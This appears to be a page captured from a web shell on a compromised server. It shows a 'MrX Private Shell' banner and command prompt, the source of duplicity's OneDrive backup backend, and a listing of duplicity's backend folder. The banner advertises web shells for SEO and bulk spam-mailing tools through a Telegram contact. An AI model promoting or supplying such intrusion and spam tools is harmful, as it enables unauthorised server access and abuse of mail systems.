__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
# -*- Mode:Python; indent-tabs-mode:nil; tab-width:4; encoding:utf-8 -*-
# vim:tabstop=4:shiftwidth=4:expandtab
#
# Copyright 2014 Google Inc.
# Contact Michael Stapelberg <[email protected]>
# This is NOT a Google product.
# Revised for Microsoft Graph API 2019 by David Martin
#
# This file is part of duplicity.
#
# Duplicity is free software; you can redistribute it and/or modify it
# under the terms of the GNU General Public License as published by the
# Free Software Foundation; either version 2 of the License, or (at your
# option) any later version.
#
# Duplicity is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with duplicity; if not, write to the Free Software Foundation,
# Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA


import json
import os
import sys
import time

import duplicity.backend
from duplicity import config
from duplicity import log
from duplicity import util
from duplicity.errors import BackendException


# For documentation on the API, see
# The previous Live SDK API required the use of opaque folder IDs to navigate paths, but the Microsoft Graph
# API allows the use of parent/child/grandchild pathnames.
# Old Live SDK API: https://docs.microsoft.com/en-us/previous-versions/office/developer/onedrive-live-sdk/dn659731(v%3doffice.15)  # noqa
# Files API: https://docs.microsoft.com/en-us/graph/api/resources/onedrive?view=graph-rest-1.0
# Large file upload API: https://docs.microsoft.com/en-us/onedrive/developer/rest-api/api/driveitem_createuploadsession?view=odsp-graph-online  # noqa


class OneDriveBackend(duplicity.backend.Backend):
    """Uses Microsoft OneDrive (formerly SkyDrive) for backups."""

    API_URI = "https://graph.microsoft.com/v1.0/"
    # The large file upload API says that uploaded chunks (except the last) must be multiples of 327680 bytes.
    REQUIRED_FRAGMENT_SIZE_MULTIPLE = 327680

    def __init__(self, parsed_url):
        duplicity.backend.Backend.__init__(self, parsed_url)

        self.directory = parsed_url.path.lstrip("/")

        # this drive_root works for personal and business onedrive
        # to use a sharepoint 365 default drive this needs to be set to
        # 'sites/<xxxx.sharepoint.com>,<site id>/drive'
        self.drive_root = os.environ.get("DUPLICITY_ONEDRIVE_ROOT", "me/drive")

        self.directory_onedrive_path = f"{self.drive_root + '/root'}:/{self.directory}/"
        if self.directory == "":
            raise BackendException(
                "You did not specify a path. " "Please specify a path, e.g. onedrive://duplicity_backups"
            )

        if config.volsize > (10 * 1024 * 1024 * 1024):
            raise BackendException("Your --volsize is bigger than 10 GiB, which is the maximum file size on OneDrive.")

        self.initialize_oauth2_session()

    def initialize_oauth2_session(self):
        client_id = os.environ.get("OAUTH2_CLIENT_ID")
        refresh_token = os.environ.get("OAUTH2_REFRESH_TOKEN")
        for n in range(1, config.num_retries + 1):
            try:
                if client_id and refresh_token:
                    self.http_client = ExternalOAuth2Session(client_id, refresh_token)
                else:
                    self.http_client = DefaultOAuth2Session(self.API_URI)
                break
            except Exception as e:
                if n >= config.num_retries:
                    raise e
                log.Warn(
                    _("Attempt of initialize_oauth2_session Nr. %s failed. %s: %s")
                    % (n, e.__class__.__name__, util.uexc(e))
                )
                time.sleep(config.backend_retry_delay)

    def _list(self):
        accum = []
        # Strip last slash, because graph can give a 404 in some cases with it
        next_url = self.API_URI + self.directory_onedrive_path.rstrip("/") + ":/children"
        while True:
            response = self.http_client.get(next_url, timeout=config.timeout)
            if response.status_code == 404:
                # No further files here
                break
            response.raise_for_status()
            responseJson = response.json()
            if "value" not in responseJson:
                raise BackendException(f'Malformed JSON: expected "value" member in {responseJson}')
            accum += responseJson["value"]
            if "@odata.nextLink" in responseJson:
                next_url = responseJson["@odata.nextLink"]
            else:
                break

        return [x["name"] for x in accum]

    def _get(self, remote_filename, local_path):
        remote_filename = remote_filename.decode("UTF-8")
        with local_path.open("wb") as f:
            response = self.http_client.get(
                self.API_URI + self.directory_onedrive_path + remote_filename + ":/content",
                stream=True,
                timeout=config.timeout,
            )
            response.raise_for_status()
            for chunk in response.iter_content(chunk_size=4096):
                if chunk:
                    f.write(chunk)
            f.flush()

    def _put(self, source_path, remote_filename):
        # Happily, the OneDrive API will lazily create the folder hierarchy required to contain a pathname

        # Check if the user has enough space available on OneDrive before even
        # attempting to upload the file.
        remote_filename = remote_filename.decode("UTF-8")
        source_size = os.path.getsize(source_path.name)
        start = time.time()
        response = self.http_client.get(self.API_URI + self.drive_root + "?$select=quota", timeout=config.timeout)
        response.raise_for_status()
        if "quota" in response.json():
            available = response.json()["quota"].get("remaining", None)
            if available:
                log.Debug(f"Bytes available: {int(available)}")
                if source_size > available:
                    raise BackendException(
                        (
                            f'Out of space: trying to store "{source_path.name}" ({int(source_size)} bytes), '
                            f"but only {int(available)} bytes available on OneDrive."
                        )
                    )
        log.Debug(f"Checked quota in {time.time() - start:f}s")

        with source_path.open() as source_file:
            start = time.time()
            url = self.API_URI + self.directory_onedrive_path + remote_filename + ":/createUploadSession"

            response = self.http_client.post(url, timeout=config.timeout)
            response.raise_for_status()
            response_json = json.loads(response.content.decode("UTF-8"))
            if "uploadUrl" not in response_json:
                raise BackendException(
                    (
                        f'File "{remote_filename}" cannot be uploaded: '
                        f"could not create upload session: {response.content}"
                    )
                )
            uploadUrl = response_json["uploadUrl"]

            # https://docs.microsoft.com/en-us/onedrive/developer/rest-api/api/driveitem_createuploadsession?
            # indicates 10 MiB is optimal for stable high speed connections.
            offset = 0
            desired_num_fragments = 10 * 1024 * 1024 // self.REQUIRED_FRAGMENT_SIZE_MULTIPLE
            while True:
                chunk = source_file.read(desired_num_fragments * self.REQUIRED_FRAGMENT_SIZE_MULTIPLE)
                if len(chunk) == 0:
                    break
                headers = {
                    "Content-Length": f"{len(chunk)}",
                    "Content-Range": f"bytes {int(offset)}-{int(offset + len(chunk) - 1)}/{int(source_size)}",
                }
                log.Debug(f"PUT {remote_filename} {headers['Content-Range']}")
                response = self.http_client.put(
                    uploadUrl, headers=headers, data=chunk, timeout=config.timeout, withhold_token=True
                )
                response.raise_for_status()
                offset += len(chunk)

            log.Debug(f"PUT file in {time.time() - start:f}s")

    def _delete(self, remote_filename):
        remote_filename = remote_filename.decode("UTF-8")
        response = self.http_client.delete(
            self.API_URI + self.directory_onedrive_path + remote_filename,
            timeout=config.timeout,
        )
        if response.status_code == 404:
            raise BackendException(f'File "{remote_filename}" cannot be deleted: it does not exist')
        response.raise_for_status()

    def _query(self, remote_filename):
        remote_filename = remote_filename.decode("UTF-8")
        response = self.http_client.get(
            self.API_URI + self.directory_onedrive_path + remote_filename,
            timeout=config.timeout,
        )
        if response.status_code != 200:
            return {"size": -1}
        if "size" not in response.json():
            raise BackendException(f'Malformed JSON: expected "size" member in {response.json()}')
        return {"size": response.json()["size"]}

    def _retry_cleanup(self):
        self.initialize_oauth2_session()


class OneDriveOAuth2Session(object):
    """A tiny wrapper for OAuth2Session that handles some OneDrive details."""

    OAUTH_TOKEN_URI = "https://login.microsoftonline.com/common/oauth2/v2.0/token"

    def __init__(self):
        # OAUTHLIB_RELAX_TOKEN_SCOPE prevents the oauthlib from complaining
        # about a mismatch between the requested scope and the delivered scope.
        # We need this because we don't get a refresh token without asking for
        # offline_access, but Microsoft Graph doesn't include offline_access
        # in its response (even though it does send a refresh_token).
        os.environ["OAUTHLIB_RELAX_TOKEN_SCOPE"] = "TRUE"

        # Import requests-oauthlib
        try:
            # On debian (and derivatives), get these dependencies using:
            # apt-get install python-requests-oauthlib
            # On fedora (and derivatives), get these dependencies using:
            # yum install python-requests-oauthlib
            from requests_oauthlib import OAuth2Session

            self.session_class = OAuth2Session
        except ImportError as e:
            raise BackendException(
                f"OneDrive backend requires python-requests-oauthlib to be "
                f"installed. Please install it and try again.\n{str(e)}"
            )

        # Should be filled by a subclass
        self.session = None

    def get(self, *args, **kwargs):
        return self.session.get(*args, **kwargs)

    def put(self, *args, **kwargs):
        return self.session.put(*args, **kwargs)

    def post(self, *args, **kwargs):
        return self.session.post(*args, **kwargs)

    def delete(self, *args, **kwargs):
        return self.session.delete(*args, **kwargs)


class DefaultOAuth2Session(OneDriveOAuth2Session):
    """A possibly-interactive console session using a built-in API key"""

    OAUTH_TOKEN_PATH = os.path.expanduser(
        os.environ.get("DUPLICITY_ONEDRIVE_TOKEN", "~/.duplicity_onedrive_oauthtoken.json")
    )

    CLIENT_ID = os.getenv("DUPLICITY_ONEDRIVE_CLIENT_ID", "1612f841-ae01-46ab-9535-43ba6ec04029")
    OAUTH_AUTHORIZE_URI = "https://login.microsoftonline.com/common/oauth2/v2.0/authorize"
    OAUTH_REDIRECT_URI = "https://login.microsoftonline.com/common/oauth2/nativeclient"
    # Files.Read is for reading files,
    # Files.ReadWrite  is for creating/writing files,
    # Files.Read.All and Files.Read.All are used if a sharepoint drive is provided by ONEDRIVE_ROOT in env
    # User.Read is needed for the /me request to see if the token works.
    # offline_access is necessary for duplicity to access onedrive without
    # the user being logged in right now.
    OAUTH_SCOPE = [
        "Files.Read",
        "Files.ReadWrite",
        "Files.Read.All",
        "Files.ReadWrite.All",
        "User.Read",
        "offline_access",
    ]

    def __init__(self, api_uri):
        super().__init__()

        token = None
        try:
            with open(self.OAUTH_TOKEN_PATH) as f:
                token = json.load(f)
        except IOError as e:
            log.Error(f"Could not load OAuth2 token. Trying to create a new one. (original error: {e})")

        self.session = self.session_class(
            self.CLIENT_ID,
            scope=self.OAUTH_SCOPE,
            redirect_uri=self.OAUTH_REDIRECT_URI,
            token=token,
            auto_refresh_kwargs={
                "client_id": self.CLIENT_ID,
            },
            auto_refresh_url=self.OAUTH_TOKEN_URI,
            token_updater=self.token_updater,
        )

        # We have to refresh token manually because it's not working "under the covers"
        if token is not None:
            self.session.refresh_token(self.OAUTH_TOKEN_URI, timeout=config.timeout)

        # Send a request to make sure the token is valid (or could at least be
        # refreshed successfully, which will happen under the covers). In case
        # this request fails, the provided token was too old (i.e. expired),
        # and we need to get a new token.
        user_info_response = self.session.get(api_uri + "me", timeout=config.timeout)
        if user_info_response.status_code != 200:
            token = None

        if token is None:
            if not sys.stdout.isatty() or not sys.stdin.isatty():
                log.FatalError(
                    f"The OAuth2 token could not be loaded from {self.OAUTH_TOKEN_PATH} and you are not "
                    f"running duplicity interactively, so duplicity cannot possibly access OneDrive."
                )
            authorization_url, state = self.session.authorization_url(self.OAUTH_AUTHORIZE_URI, display="touch")

            print(
                f"\nIn order to authorize duplicity to access your OneDrive, please open {authorization_url} "
                f"in a browser and copy the URL of the blank page the dialog leads to.\n"
            )

            redirected_to = input("URL of the blank page: ").strip()

            token = self.session.fetch_token(
                self.OAUTH_TOKEN_URI,
                authorization_response=redirected_to,
                include_client_id=True,
                timeout=config.timeout,
            )

            user_info_response = self.session.get(api_uri + "me", timeout=config.timeout)
            user_info_response.raise_for_status()

            try:
                with open(self.OAUTH_TOKEN_PATH, "w") as f:
                    json.dump(token, f)
            except Exception as e:
                log.Error(
                    f"Could not save the OAuth2 token to {self.OAUTH_TOKEN_PATH}. This means you need to do the "
                    f"OAuth2 authorization process on every start of duplicity. Original error: {e}"
                )

    def token_updater(self, token):
        try:
            with open(self.OAUTH_TOKEN_PATH, "w") as f:
                json.dump(token, f)
        except Exception as e:
            log.Error(
                f"Could not save the OAuth2 token to {self.OAUTH_TOKEN_PATH}. This means you may need to do the "
                f"OAuth2 authorization process again soon. Original error: {e}"
            )


class ExternalOAuth2Session(OneDriveOAuth2Session):
    """Caller is managing tokens and provides an active refresh token."""

    def __init__(self, client_id, refresh_token):
        super().__init__()

        token = {
            "refresh_token": refresh_token,
        }

        self.session = self.session_class(
            client_id,
            token=token,
            auto_refresh_kwargs={
                "client_id": client_id,
            },
            auto_refresh_url=self.OAUTH_TOKEN_URI,
        )

        # Get an initial refresh under our belts, since we don't have an access
        # token to start with.
        self.session.refresh_token(self.OAUTH_TOKEN_URI, timeout=config.timeout)


duplicity.backend.register_backend("onedrive", OneDriveBackend)

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
pyrax_identity Folder 0755
__init__.py File 1.09 KB 0644
_cf_cloudfiles.py File 3.83 KB 0644
_cf_pyrax.py File 5.02 KB 0644
_testbackend.py File 10.95 KB 0644
adbackend.py File 16.17 KB 0644
azurebackend.py File 5.41 KB 0644
b2backend.py File 9.31 KB 0644
boxbackend.py File 6.63 KB 0644
cfbackend.py File 1.12 KB 0644
dpbxbackend.py File 19.09 KB 0644
gdocsbackend.py File 8.9 KB 0644
gdrivebackend.py File 16.28 KB 0644
giobackend.py File 7.74 KB 0644
hsibackend.py File 2.54 KB 0644
hubicbackend.py File 2.37 KB 0644
idrivedbackend.py File 18.86 KB 0644
imapbackend.py File 9.53 KB 0644
jottacloudbackend.py File 5.62 KB 0644
lftpbackend.py File 8.97 KB 0644
localbackend.py File 2.97 KB 0644
mediafirebackend.py File 4.53 KB 0644
megabackend.py File 6.93 KB 0644
megav2backend.py File 8.42 KB 0644
megav3backend.py File 9.63 KB 0644
multibackend.py File 15.39 KB 0644
ncftpbackend.py File 5.32 KB 0644
onedrivebackend.py File 15.94 KB 0644
par2backend.py File 8.78 KB 0644
pcabackend.py File 12.18 KB 0644
pydrivebackend.py File 12.72 KB 0644
rclonebackend.py File 4.64 KB 0644
rsyncbackend.py File 6.3 KB 0644
s3_boto3_backend.py File 10.25 KB 0644
slatebackend.py File 6.37 KB 0644
ssh_paramiko_backend.py File 19.21 KB 0644
ssh_pexpect_backend.py File 12.63 KB 0644
swiftbackend.py File 9.91 KB 0644
sxbackend.py File 2.26 KB 0644
tahoebackend.py File 2.5 KB 0644
webdavbackend.py File 18.2 KB 0644
xorrisobackend.py File 11.96 KB 0644
Filemanager